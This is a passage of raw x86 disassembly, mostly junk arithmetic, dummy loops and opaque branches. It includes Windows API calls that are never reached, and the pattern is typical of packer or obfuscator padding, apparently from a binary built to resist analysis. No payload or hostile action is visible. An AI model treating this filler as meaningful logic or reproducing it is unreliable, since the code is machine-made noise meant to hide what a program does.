mov dword [ebp - 0x1050], 1
cmp dword [ebp - 0x1050], 0xffffffff
je 0x47933e
mov dword [ebp - 0x1058], 1
jmp 0x479345
and dword [ebp - 0x1058], 0
cmp dword [ebp - 0x1058], 0
je 0x479363
cmp dword [ebp - 0x2320], 0
je 0x479363
mov dword [ebp - 0x21b0], 1
jmp 0x47936a
and dword [ebp - 0x21b0], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x3b4]
mov dword [ebp - 0x2e40], eax
mov eax, dword [ebp - 0x510]
sub eax, 6
imul eax, eax, 0x767e
imul eax, eax, 0x24a0
cmp dword [ebp - 0x510], eax
je 0x4793a5
mov dword [ebp - 0x1060], 1
jmp 0x4793ac
and dword [ebp - 0x1060], 0
cmp dword [ebp - 0x1060], 0
jl 0x4793c1
mov dword [ebp - 0x1068], 1
jmp 0x4793c8
and dword [ebp - 0x1068], 0
cmp dword [ebp - 0x1068], 0x2e0a
jne 0x4793e0
mov dword [ebp - 0x1070], 1
jmp 0x4793e7
and dword [ebp - 0x1070], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x3b4]
cmp dword [ebp - 0x1070], eax
jle 0x479408
mov dword [ebp - 0x1078], 1
jmp 0x47940f
and dword [ebp - 0x1078], 0
mov eax, dword [ebp - 0x510]
add eax, dword [ebp - 0x1078]
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x7d0], eax
jmp 0x47879b
mov dword [ebp - 0xdc], 1
mov dword [ebp - 0x10a8], 0x2b5725d3
mov dword [ebp - 0x3e0], 0xe3cb
mov dword [ebp - 0x2328], 0xc72fa5d8
mov dword [ebp - 0x21c0], 0x1359a703
mov dword [ebp - 0x900], 0
jmp 0x479478
mov eax, dword [ebp - 0x900]
inc eax
mov dword [ebp - 0x900], eax
cmp dword [ebp - 0x900], 2
jge 0x479494
mov eax, dword [ebp - 0x900]
mov dword [ebp + eax*4 - 0x1e18], 1
jmp 0x47946b
mov dword [ebp - 0xdc], 0
jmp 0x4794ad
mov eax, dword [ebp - 0xdc]
inc eax
mov dword [ebp - 0xdc], eax
cmp dword [ebp - 0xdc], 2
jge 0x4794c9
mov eax, dword [ebp - 0xdc]
mov dword [ebp + eax*4 - 0x1e18], 0
jmp 0x4794a0
cmp dword [ebp - 0x3e0], 0
jne 0x4794de
mov dword [ebp - 0x1080], 1
jmp 0x4794e5
and dword [ebp - 0x1080], 0
cmp dword [ebp - 0x1080], 0xe265
jg 0x4794fd
mov dword [ebp - 0x1088], 1
jmp 0x479504
and dword [ebp - 0x1088], 0
cmp dword [ebp - 0x1088], 0x3380
jne 0x47951c
mov dword [ebp - 0x1090], 1
jmp 0x479523
and dword [ebp - 0x1090], 0
mov eax, dword [ebp - 0x1090]
sub eax, dword [ebp - 0x3e0]
cmp eax, 5
jb 0x479540
mov dword [ebp - 0x1098], 1
jmp 0x479547
and dword [ebp - 0x1098], 0
mov eax, dword [ebp - 0x3e0]
cmp eax, dword [ebp - 0x1098]
je 0x479561
mov dword [ebp - 0x10a0], 1
jmp 0x479568
and dword [ebp - 0x10a0], 0
cmp dword [ebp - 0x10a0], 0x5f79
jle 0x479580
mov dword [ebp - 0x249c], 1
jmp 0x479587
and dword [ebp - 0x249c], 0
mov dword [ebp - 0x10a8], 0x2278
mov eax, dword [ebp - 0x10a8]
mov dword [ebp - 0x2a6c], eax
mov eax, 0xffff
cmp eax, 0x5a61
ja 0x4795b5
mov dword [ebp - 0x21b8], 1
jmp 0x4795bc
and dword [ebp - 0x21b8], 0
mov eax, dword [ebp - 0xdc]
mov dword [ebp - 0x2f00], eax
mov eax, dword [ebp - 0xdc]
mov dword [ebp - 0x2328], eax
cmp dword [ebp - 0xdc], 0x25fc
jg 0x4795ec
mov dword [ebp - 0x10b0], 1
jmp 0x4795f3
and dword [ebp - 0x10b0], 0
mov eax, dword [ebp - 0xdc]
cmp dword [ebp - 0x10b0], eax
jge 0x47960d
mov dword [ebp - 0x10b8], 1
jmp 0x479614
and dword [ebp - 0x10b8], 0
cmp dword [ebp - 0x10b8], 0xfcf4
je 0x47962c
mov dword [ebp - 0x10c0], 1
jmp 0x479633
and dword [ebp - 0x10c0], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x1e18]
cmp dword [ebp - 0x10c0], eax
jl 0x479654
mov dword [ebp - 0x10c8], 1
jmp 0x47965b
and dword [ebp - 0x10c8], 0
mov eax, dword [ebp - 0x10c8]
mov dword [ebp - 0xdc], eax
mov eax, dword [ebp - 0xdc]
add eax, dword [ebp - 0x3e0]
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x1e18]
jge 0x47968e
mov dword [ebp - 0x10d0], 1
jmp 0x479695
and dword [ebp - 0x10d0], 0
mov eax, dword [ebp - 0x3e0]
cmp dword [ebp - 0x10d0], eax
jl 0x4796af
mov dword [ebp - 0x10d8], 1
jmp 0x4796b6
and dword [ebp - 0x10d8], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x10d8]
sub ecx, dword [ebp + eax - 0x1e18]
imul ecx, dword [ebp - 0x3e0]
push 4
pop eax
shl eax, 0
cmp ecx, dword [ebp + eax - 0x1e18]
je 0x4796eb
mov dword [ebp - 0x10e0], 1
jmp 0x4796f2
and dword [ebp - 0x10e0], 0
mov eax, dword [ebp - 0x10e0]
add eax, 9
je 0x47970e
xor eax, eax
inc eax
je 0x47970e
mov dword [ebp - 0x10e8], 1
jmp 0x479715
and dword [ebp - 0x10e8], 0
mov eax, dword [ebp - 0x10e8]
mov dword [ebp - 0x21c0], eax
mov dword [ebp - 0x4a8], 0x22ba3946
mov dword [ebp - 0x7d8], 0
jmp 0x479744
mov eax, dword [ebp - 0x7d8]
inc eax
mov dword [ebp - 0x7d8], eax
cmp dword [ebp - 0x7d8], 4
jge 0x479760
mov eax, dword [ebp - 0x7d8]
mov dword [ebp + eax*4 - 0x3384], 0
jmp 0x479737
mov dword [ebp - 0x4a8], 3
jmp 0x479779
mov eax, dword [ebp - 0x4a8]
dec eax
mov dword [ebp - 0x4a8], eax
cmp dword [ebp - 0x4a8], 0
jl 0x4797b3
mov byte [ebp - 0x339], 0
movzx eax, byte [ebp - 0x339]
test eax, eax
je 0x47979f
push 0x212f
call dword [sym.imp.USER32.dll_GetKeyState]
mov eax, dword [ebp - 0x4a8]
cmp dword [ebp + eax*4 - 0x3384], 0
je 0x4797b1
jmp 0x4797b3
jmp 0x47976c
mov byte [ebp - 0x2d1], 0
mov dword [ebp - 4], 0xdbc37078
mov dword [ebp - 0x3f0], 1
mov dword [ebp - 0x228], 0xdb39523d
mov dword [ebp - 0x8a0], 0
jmp 0x4797ee
mov eax, dword [ebp - 0x8a0]
inc eax
mov dword [ebp - 0x8a0], eax
cmp dword [ebp - 0x8a0], 2
jge 0x47980a
mov eax, dword [ebp - 0x8a0]
mov dword [ebp + eax*4 - 0x2bb0], 0x43232af7
jmp 0x4797e1
mov eax, dword [ebp - 4]
mov dword [ebp - 0x2a74], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0x2e48], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0x2a7c], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0x2f04], eax
mov eax, dword [ebp - 4]
sub eax, dword [ebp - 4]
jne 0x47983a
cmp dword [ebp - 4], 0
mov eax, 0x694d
sub eax, 0x5f79
cmp eax, 0x21342f3d
jl 0x47985b
push 9
pop eax
test eax, eax
jne 0x47985b
and dword [ebp - 0x10f0], 0
jmp 0x479865
mov dword [ebp - 0x10f0], 1
cmp dword [ebp - 0x10f0], 0x8b16
je 0x47987d
mov dword [ebp - 0x10f8], 1
jmp 0x479884
and dword [ebp - 0x10f8], 0
mov eax, dword [ebp - 4]
cmp dword [ebp - 0x10f8], eax
jg 0x47989b
mov dword [ebp - 0x1100], 1
jmp 0x4798a2
and dword [ebp - 0x1100], 0
mov eax, dword [ebp - 0x1100]
mov dword [ebp - 0x3f0], eax
mov eax, dword [ebp - 0x3f0]
neg eax
cmp eax, dword [ebp - 4]
jle 0x4798c7
mov dword [ebp - 0x1108], 1
jmp 0x4798ce
and dword [ebp - 0x1108], 0
mov eax, dword [ebp - 4]
add eax, dword [ebp - 0x1108]
imul eax, eax, 0xfffe
mov dword [ebp - 0x228], eax
mov eax, dword [ebp - 4]
cmp dword [ebp - 0x228], eax
jle 0x4798fa
mov dword [ebp - 0x1110], 1
jmp 0x479901
and dword [ebp - 0x1110], 0
mov eax, dword [ebp - 4]
imul eax, dword [ebp - 0x1110]
test eax, eax
jne 0x479921
cmp dword [ebp - 0x3f0], 0
jne 0x479921
and dword [ebp - 0x1118], 0
jmp 0x47992b
mov dword [ebp - 0x1118], 1
mov eax, dword [ebp - 4]
imul eax, dword [ebp - 0x1118]
test eax, eax
je 0x4799b5
mov dword [ebp - 0x23ec], 0xffffffff
mov dword [ebp - 0x7e0], 0
jmp 0x47995c
mov eax, dword [ebp - 0x7e0]
inc eax
mov dword [ebp - 0x7e0], eax
cmp dword [ebp - 0x7e0], 3
jge 0x479978
mov eax, dword [ebp - 0x7e0]
mov dword [ebp + eax*4 - 0x2ea4], 7
jmp 0x47994f
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x23ec]
mov dword [ebp + eax - 0x2ea4], ecx
mov dword [ebp - 4], 0
jmp 0x47999a
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 3
jge 0x4799b0
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x2ea4], 1
jmp 0x479993
jmp 0x479fa8
mov dword [ebp - 0x350], 0xffffffff
mov dword [ebp - 0x88], 0
jmp 0x4799d8
mov eax, dword [ebp - 0x88]
inc eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 1
jge 0x4799f4
mov eax, dword [ebp - 0x88]
mov dword [ebp + eax*4 - 0x3e8], 1
jmp 0x4799cb
mov dword [ebp - 0x88], 0
jmp 0x479a0d
mov eax, dword [ebp - 0x88]
inc eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 1
jge 0x479a29
mov eax, dword [ebp - 0x88]
mov dword [ebp + eax*4 - 0x998], 0xffffffff
jmp 0x479a00
mov dword [ebp - 0x88], 0
jmp 0x479a42
mov eax, dword [ebp - 0x88]
inc eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 4
jge 0x479a5e
mov eax, dword [ebp - 0x88]
mov dword [ebp + eax*4 - 0x3184], 0xb67a0786
jmp 0x479a35
mov dword [ebp - 0x228], 0x10
jmp 0x479a77
mov eax, dword [ebp - 0x228]
dec eax
mov dword [ebp - 0x228], eax
cmp dword [ebp - 0x228], 0xffffffe8
je 0x479e60
mov dword [ebp - 0x94c], 8
mov dword [ebp - 0x978], 0x651603
mov dword [ebp - 0x1180], 1
mov dword [ebp - 4], 0x1a
jmp 0x479ab2
cmp dword [ebp - 4], 0xffffffe7
jne 0x479e5b
mov dword [ebp - 0x970], 1
mov dword [ebp - 0x988], 0xfffe
mov eax, 0x59a7
test eax, eax
je 0x479ca5
mov eax, dword [ebp - 0x970]
add eax, 0x9db3
push 4
pop ecx
imul ecx, ecx, 0
sub eax, dword [ebp + ecx - 0x3e8]
cmp eax, 1
jg 0x479b06
mov dword [ebp - 0x1120], 1
jmp 0x479b0d
and dword [ebp - 0x1120], 0
mov eax, dword [ebp - 0x970]
cmp dword [ebp - 0x1120], eax
jge 0x479b2d
cmp dword [ebp - 0x970], 0
jne 0x479b2d
and dword [ebp - 0x1128], 0
jmp 0x479b37
mov dword [ebp - 0x1128], 1
mov eax, dword [ebp - 0x94c]
cmp dword [ebp - 0x1128], eax
jl 0x479b51
mov dword [ebp - 0x1130], 1
jmp 0x479b58
and dword [ebp - 0x1130], 0
mov dword [ebp - 0x3f0], 0x7fad
mov eax, dword [ebp - 0x3f0]
cmp eax, dword [ebp - 0x1130]
jle 0x479b7c
mov dword [ebp - 0x1138], 1
jmp 0x479b83
and dword [ebp - 0x1138], 0
mov eax, dword [ebp - 4]
cmp dword [ebp - 0x1138], eax
jne 0x479b9a
mov dword [ebp - 0x1140], 1
jmp 0x479ba1
and dword [ebp - 0x1140], 0
cmp dword [ebp - 0x1140], 0xe26a8acd
jne 0x479bb9
mov dword [ebp - 0x1148], 1
jmp 0x479bc0
and dword [ebp - 0x1148], 0
mov eax, dword [ebp - 0x1148]
mov dword [ebp - 0x978], eax
cmp dword [ebp - 0x978], 0
je 0x479bea
cmp dword [ebp - 0x978], 0
je 0x479bea
mov dword [ebp - 0x1150], 1
jmp 0x479bf1
and dword [ebp - 0x1150], 0
mov eax, dword [ebp - 0x94c]
cmp eax, dword [ebp - 0x1150]
jne 0x479c14
mov eax, 0xa07874d2
test eax, eax
je 0x479c14
and dword [ebp - 0x1158], 0
mov eax, dword [ebp - 0x1158]
sub eax, dword [ebp - 0x94c]
jne 0x479c3b
and dword [ebp - 0x1170], 0
mov eax, dword [ebp - 0x988]
cmp dword [ebp - 0x1170], eax
je 0x479cc6
mov dword [ebp - 0x1178], 1
jmp 0x479ccd
and dword [ebp - 0x1178], 0
mov eax, dword [ebp - 0x1178]
neg eax
mov dword [ebp - 0x980], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x980]
mov dword [ebp + eax - 0x998], ecx
push 4
pop eax
imul eax, eax, 3
mov ecx, dword [ebp - 0x980]
mov dword [ebp + eax - 0x3184], ecx
mov eax, dword [ebp - 0x94c]
add eax, dword [ebp - 0x980]
mov dword [ebp - 0x1180], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x3e8]
cmp dword [ebp - 0x1180], eax
jle 0x479d34
mov dword [ebp - 0x1188], 1
jmp 0x479d3b
and dword [ebp - 0x1188], 0
mov eax, dword [ebp - 4]
cmp dword [ebp - 0x1188], eax
jl 0x479d52
mov dword [ebp - 0x1190], 1
jmp 0x479d59
and dword [ebp - 0x1190], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x3e8]
cmp dword [ebp - 0x1190], eax
jne 0x479d7a
mov dword [ebp - 0x1198], 1
jmp 0x479d81
and dword [ebp - 0x1198], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x3e8]
cmp dword [ebp - 0x1198], eax
jg 0x479dab
cmp dword [ebp - 0x988], 0
je 0x479dab
mov dword [ebp - 0x11a0], 1
jmp 0x479db2
and dword [ebp - 0x11a0], 0
cmp dword [ebp - 0x11a0], 9
ja 0x479dc7
mov dword [ebp - 0x11a8], 1
jmp 0x479dce
and dword [ebp - 0x11a8], 0
mov eax, dword [ebp - 0x988]
cmp dword [ebp - 0x11a8], eax
jle 0x479de8
mov dword [ebp - 0x11b0], 1
jmp 0x479def
and dword [ebp - 0x11b0], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x11b0]
sub ecx, dword [ebp + eax - 0x3e8]
mov dword [ebp - 0x350], ecx
mov dword [ebp - 0x350], 0
jmp 0x479e21
cmp dword [ebp - 0x350], 0x13
jg 0x479e56
jmp 0x479a6a
mov dword [ebp - 4], 0
jmp 0x479e70
mov eax, dword [ebp - 4]
dec eax
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xfffffff6
jne 0x479fa8
mov dword [ebp - 0x7e8], 0xffff
mov dword [ebp - 0x990], 0x97e54b53
mov dword [ebp - 0x350], 0xfffffff6
mov eax, dword [ebp - 0x7e8]
mov dword [ebp - 0x990], eax
mov eax, dword [ebp - 0x990]
cmp dword [ebp - 0x350], eax
jne 0x479ebe
mov dword [ebp - 0x11b8], 1
jmp 0x479ec5
and dword [ebp - 0x11b8], 0
mov eax, dword [ebp - 0x11b8]
sub eax, dword [ebp - 0x7e8]
cmp eax, dword [ebp - 0x3f0]
jle 0x479ee5
mov dword [ebp - 0x11c0], 1
jmp 0x479eec
and dword [ebp - 0x11c0], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x998]
cmp dword [ebp - 0x11c0], eax
jle 0x479f1c
cmp dword [ebp - 0x228], 0
jne 0x479f1c
cmp dword [ebp - 0x990], 0
jne 0x479f1c
and dword [ebp - 0x11c8], 0
jmp 0x479f26
mov dword [ebp - 0x11c8], 1
mov eax, dword [ebp - 0x7e8]
cmp dword [ebp - 0x11c8], eax
jne 0x479f40
mov dword [ebp - 0x11d0], 1
jmp 0x479f47
and dword [ebp - 0x11d0], 0
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x3184]
cmp dword [ebp - 0x11d0], eax
jge 0x479f68
mov dword [ebp - 0x11d8], 1
jmp 0x479f6f
and dword [ebp - 0x11d8], 0
mov eax, dword [ebp - 0x7e8]
cmp dword [ebp - 0x11d8], eax
jg 0x479f89
mov dword [ebp - 0x11e0], 1
jmp 0x479f90
and dword [ebp - 0x11e0], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x11e0]
mov dword [ebp + eax - 0x998], ecx
jmp 0x479e69
movzx eax, byte [ebp - 0x2d1]
test eax, eax
je 0x47a0ca
mov dword [ebp - 0x2a84], 2
mov dword [ebp - 0x11e8], 0x299
mov dword [ebp - 0x198], 0
jmp 0x479fe4
mov eax, dword [ebp - 0x198]
inc eax
mov dword [ebp - 0x198], eax
cmp dword [ebp - 0x198], 2
jge 0x47a000
mov eax, dword [ebp - 0x198]
mov dword [ebp + eax*4 - 0x1f44], 0
jmp 0x479fd7
mov dword [ebp - 0x198], 0
jmp 0x47a019
mov eax, dword [ebp - 0x198]
inc eax
mov dword [ebp - 0x198], eax
cmp dword [ebp - 0x198], 2
jge 0x47a035
mov eax, dword [ebp - 0x198]
mov dword [ebp + eax*4 - 0x335c], 0xfffffffd
jmp 0x47a00c
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x1f44], 0
jmp 0x47a063
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x1f44], 0xd
jle 0x47a0c4
mov dword [ebp - 0x8a8], 0xe2c0d37a
mov dword [ebp - 0x2330], 0xbc781ced
mov dword [ebp - 0x8a8], 0
jmp 0x47a0a0
cmp dword [ebp - 0x8a8], 1
jg 0x47a0c2
mov dword [ebp - 0x2330], 0xe64f1479
mov eax, dword [ebp - 0x11e8]
dec eax
mov dword [ebp - 0x11e8], eax
jmp 0x47a093
jmp 0x47a048
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
jmp 0x47a778
mov dword [ebp - 0x2520], 0xfffffffc
mov dword [ebp - 0x251c], 0xfffffffc
mov dword [ebp - 0x2518], 0xfffffffc
mov dword [ebp - 0x2514], 0xfffffffc
mov dword [ebp - 0x2e58], 0x9fb37b04
mov dword [ebp - 0x2a8c], 0xcc58a012
mov dword [ebp - 0x233c], 0xf82d83d7
mov dword [ebp - 0x27a8], 0x6c312fbb
mov dword [ebp - 0x27a4], 0x6c312fbb
mov dword [ebp - 0x27a0], 0x6c312fbb
mov dword [ebp - 0x279c], 0x6c312fbb
mov dword [ebp - 0x7f0], 0x38e4
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x2520], 0x15
jmp 0x47a175
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2520]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x2520], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x2520], 4
jne 0x47a416
mov dword [ebp - 0x4ac], 0
mov dword [ebp - 0x21d8], 0xe5708880
mov dword [ebp - 0x9a0], 0x1900312
mov dword [ebp - 0x1a0], 0
jmp 0x47a1c0
mov eax, dword [ebp - 0x1a0]
inc eax
mov dword [ebp - 0x1a0], eax
cmp dword [ebp - 0x1a0], 3
jge 0x47a1dc
mov eax, dword [ebp - 0x1a0]
mov dword [ebp + eax*4 - 0x2eb4], 0xfddd3f46
jmp 0x47a1b3
mov dword [ebp - 0x1a0], 0
jmp 0x47a1f5
mov eax, dword [ebp - 0x1a0]
inc eax
mov dword [ebp - 0x1a0], eax
cmp dword [ebp - 0x1a0], 1
jge 0x47a211
mov eax, dword [ebp - 0x1a0]
mov dword [ebp + eax*4 - 0x2f0c], 1
jmp 0x47a1e8
mov eax, dword [ebp - 0x4ac]
inc eax
mov dword [ebp - 0x4ac], eax
mov dword [ebp - 0x7f0], 0
jmp 0x47a237
mov eax, dword [ebp - 0x7f0]
inc eax
mov dword [ebp - 0x7f0], eax
cmp dword [ebp - 0x7f0], 0x10
jne 0x47a411
mov dword [ebp - 0x1220], 1
mov dword [ebp - 0x2a94], 0xfd02
mov dword [ebp - 0x908], 0
jmp 0x47a271
mov eax, dword [ebp - 0x908]
inc eax
mov dword [ebp - 0x908], eax
cmp dword [ebp - 0x908], 3
jge 0x47a28d
mov eax, dword [ebp - 0x908]
mov dword [ebp + eax*4 - 0x31d4], 0xd9918c6a
jmp 0x47a264
cmp dword [ebp - 0x1220], 0xffffffff
jbe 0x47a2a2
mov dword [ebp - 0x11f0], 1
jmp 0x47a2a9
and dword [ebp - 0x11f0], 0
cmp dword [ebp - 0x11f0], 1
je 0x47a2be
mov dword [ebp - 0x11f8], 1
jmp 0x47a2c5
and dword [ebp - 0x11f8], 0
mov eax, dword [ebp - 0x4ac]
cmp eax, dword [ebp - 0x11f8]
jle 0x47a2df
mov dword [ebp - 0x1200], 1
jmp 0x47a2e6
and dword [ebp - 0x1200], 0
mov eax, dword [ebp - 0x9a0]
mov dword [ebp - 0x21d0], eax
imul eax, dword [ebp - 0x1200], 0xfffffffd
mov dword [ebp - 0x24cc], eax
mov eax, dword [ebp - 0x9a0]
inc eax
mov dword [ebp - 0x9a0], eax
mov eax, dword [ebp - 0x21d0]
cmp eax, dword [ebp - 0x24cc]
jle 0x47a326
mov dword [ebp - 0x1208], 1
jmp 0x47a32d
and dword [ebp - 0x1208], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2eb4]
mov dword [ebp - 0x1210], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x1210]
mov dword [ebp + eax - 0x2eb4], ecx
mov eax, dword [ebp - 0x4ac]
imul eax, dword [ebp - 0x1208]
cmp dword [ebp - 0x1210], eax
jle 0x47a374
mov dword [ebp - 0x1218], 1
jmp 0x47a37b
and dword [ebp - 0x1218], 0
mov eax, dword [ebp - 0x4ac]
mov ecx, dword [ebp - 0x1218]
lea eax, [ecx + eax - 0x6225b524]
imul eax, dword [ebp - 0x1220]
cmp eax, dword [ebp - 0x21d8]
jg 0x47a3a9
mov dword [ebp - 0x1228], 1
jmp 0x47a3b0
and dword [ebp - 0x1228], 0
mov eax, dword [ebp - 0x233c]
cmp dword [ebp - 0x1228], eax
jl 0x47a3ca
mov dword [ebp - 0x1230], 1
jmp 0x47a3d1
and dword [ebp - 0x1230], 0
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x27a8]
cmp dword [ebp - 0x1230], eax
jge 0x47a3f2
mov dword [ebp - 0x1238], 1
jmp 0x47a3f9
and dword [ebp - 0x1238], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x1238]
mov dword [ebp + eax - 0x31d4], ecx
jmp 0x47a22a
jmp 0x47a15a
mov dword [ebp - 0x1a8], 0
mov dword [ebp - 0x1260], 0x694a61bf
mov dword [ebp - 0x21e8], 0xffffffff
mov dword [ebp - 0x1a8], 0
jmp 0x47a44d
mov eax, dword [ebp - 0x1a8]
inc eax
mov dword [ebp - 0x1a8], eax
cmp dword [ebp - 0x1a8], 3
je 0x47a5a6
mov dword [ebp - 0x23fc], 0xb4495231
mov dword [ebp - 0x7f8], 0
jmp 0x47a47d
mov eax, dword [ebp - 0x7f8]
inc eax
mov dword [ebp - 0x7f8], eax
cmp dword [ebp - 0x7f8], 1
jge 0x47a499
mov eax, dword [ebp - 0x7f8]
mov dword [ebp + eax*4 - 0x1248], 0xf6
jmp 0x47a470
mov byte [ebp - 0x294], 0
movzx eax, byte [ebp - 0x294]
test eax, eax
je 0x47a4b6
push 0xe44
call dword [sym.imp.USER32.dll_BeginDeferWindowPos]
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x1248], 9
je 0x47a4d2
mov dword [ebp - 0x1240], 1
jmp 0x47a4d9
and dword [ebp - 0x1240], 0
cmp dword [ebp - 0x1240], 1
jb 0x47a4ee
mov dword [ebp - 0x1250], 1
jmp 0x47a4f5
and dword [ebp - 0x1250], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1248]
cmp eax, dword [ebp - 0x1250]
jl 0x47a516
mov dword [ebp - 0x21e0], 1
jmp 0x47a51d
and dword [ebp - 0x21e0], 0
mov eax, dword [ebp - 0x1a8]
mov dword [ebp - 0x2e68], eax
mov eax, dword [ebp - 0x1a8]
mov dword [ebp - 0x2a9c], eax
cmp dword [ebp - 0x1a8], 0x9a2b441
jg 0x47a54d
mov dword [ebp - 0x1258], 1
jmp 0x47a554
and dword [ebp - 0x1258], 0
mov eax, dword [ebp - 0x1258]
sub eax, 0x4ba3
sub eax, dword [ebp - 0x1a8]
mov dword [ebp - 0x1260], eax
mov eax, dword [ebp - 0x1260]
cmp dword [ebp - 0x1a8], eax
jge 0x47a58b
cmp dword [ebp - 0x23fc], 0
jne 0x47a58b
and dword [ebp - 0x1268], 0
jmp 0x47a595
mov dword [ebp - 0x1268], 1
mov eax, dword [ebp - 0x1268]
mov dword [ebp - 0x21e8], eax
jmp 0x47a440
mov byte [ebp - 0x371], 0
mov dword [ebp - 0x230], 0xdf603fa7
mov dword [ebp - 0x1288], 0xffffffff
mov dword [ebp - 0x1298], 0xe76d238e
cmp dword [ebp - 0x230], 0
je 0x47a5e0
mov dword [ebp - 0x1270], 1
jmp 0x47a5e7
and dword [ebp - 0x1270], 0
mov eax, dword [ebp - 0x230]
cmp eax, dword [ebp - 0x1270]
je 0x47a601
mov dword [ebp - 0x2348], 1
jmp 0x47a608
and dword [ebp - 0x2348], 0
mov eax, dword [ebp - 0x230]
mov dword [ebp - 0x2efc], eax
mov eax, dword [ebp - 0x230]
mov dword [ebp - 0x2aa4], eax
mov eax, dword [ebp - 0x230]
mov dword [ebp - 0x2e78], eax
cmp dword [ebp - 0x230], 0
je 0x47a647
mov eax, 0x1a4e
test eax, eax
jne 0x47a647
and dword [ebp - 0x1278], 0
jmp 0x47a651
mov dword [ebp - 0x1278], 1
mov eax, dword [ebp - 0x230]
cmp dword [ebp - 0x1278], eax
je 0x47a66b
mov dword [ebp - 0x1280], 1
jmp 0x47a672
and dword [ebp - 0x1280], 0
mov eax, dword [ebp - 0x1280]
dec eax
mov dword [ebp - 0x1288], eax
cmp dword [ebp - 0x1288], 0
jle 0x47a694
mov dword [ebp - 0x1290], 1
jmp 0x47a69b
and dword [ebp - 0x1290], 0
mov eax, dword [ebp - 0x230]
inc eax
imul eax, dword [ebp - 0x1290]
mov dword [ebp - 0x1298], eax
cmp dword [ebp - 0x1298], 0
je 0x47a6d4
mov byte [ebp - 0x261], 0
movzx eax, byte [ebp - 0x261]
test eax, eax
je 0x47a6d2
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
jmp 0x47a6f1
mov byte [ebp - 0x2a6], 0
movzx eax, byte [ebp - 0x2a6]
test eax, eax
je 0x47a6f1
push 0x2039
call dword [sym.imp.KERNEL32.dll_Sleep]
movzx eax, byte [ebp - 0x371]
test eax, eax
je 0x47a778
mov dword [ebp - 0x8b0], 0
jmp 0x47a715
mov eax, dword [ebp - 0x8b0]
inc eax
mov dword [ebp - 0x8b0], eax
cmp dword [ebp - 0x8b0], 3
jge 0x47a731
mov eax, dword [ebp - 0x8b0]
mov dword [ebp + eax*4 - 0x3444], 0xfffffff8
jmp 0x47a708
mov byte [ebp - 0x296], 0
movzx eax, byte [ebp - 0x296]
test eax, eax
je 0x47a74d
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov byte [ebp - 0x2d9], 0
movzx eax, byte [ebp - 0x2d9]
test eax, eax
je 0x47a770
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EnumChildWindows]
push 0
call dword [sym.imp.KERNEL32.dll_FindClose]
mov dword [ebp - 0x1520], str.main_window
mov dword [ebp - 0x34], 0x1449c9fb
mov dword [ebp - 0x9a8], 1
mov dword [ebp - 0x2200], 0xcaaf7cc7
mov dword [ebp - 0x9b0], 0xfffffffe
mov dword [ebp - 0x240c], 0
mov dword [ebp - 0x2208], 0xfffffff7
mov dword [ebp - 0x800], 0
jmp 0x47a7d4
mov eax, dword [ebp - 0x800]
inc eax
mov dword [ebp - 0x800], eax
cmp dword [ebp - 0x800], 1
jge 0x47a7f0
mov eax, dword [ebp - 0x800]
mov dword [ebp + eax*4 - 0x938], 0
jmp 0x47a7c7
mov byte [ebp - 0x298], 0
movzx eax, byte [ebp - 0x298]
test eax, eax
je 0x47a818
push 0
push 0
push 0xb69
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SendMessageW]
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x2aac], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x2f1c], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x2ab4], eax
cmp dword [ebp - 0x34], 0x6fbf
jle 0x47a848
mov dword [ebp - 0x12a0], 1
jmp 0x47a84f
and dword [ebp - 0x12a0], 0
mov eax, dword [ebp - 0x34]
cmp dword [ebp - 0x12a0], eax
je 0x47a866
mov dword [ebp - 0x12a8], 1
jmp 0x47a86d
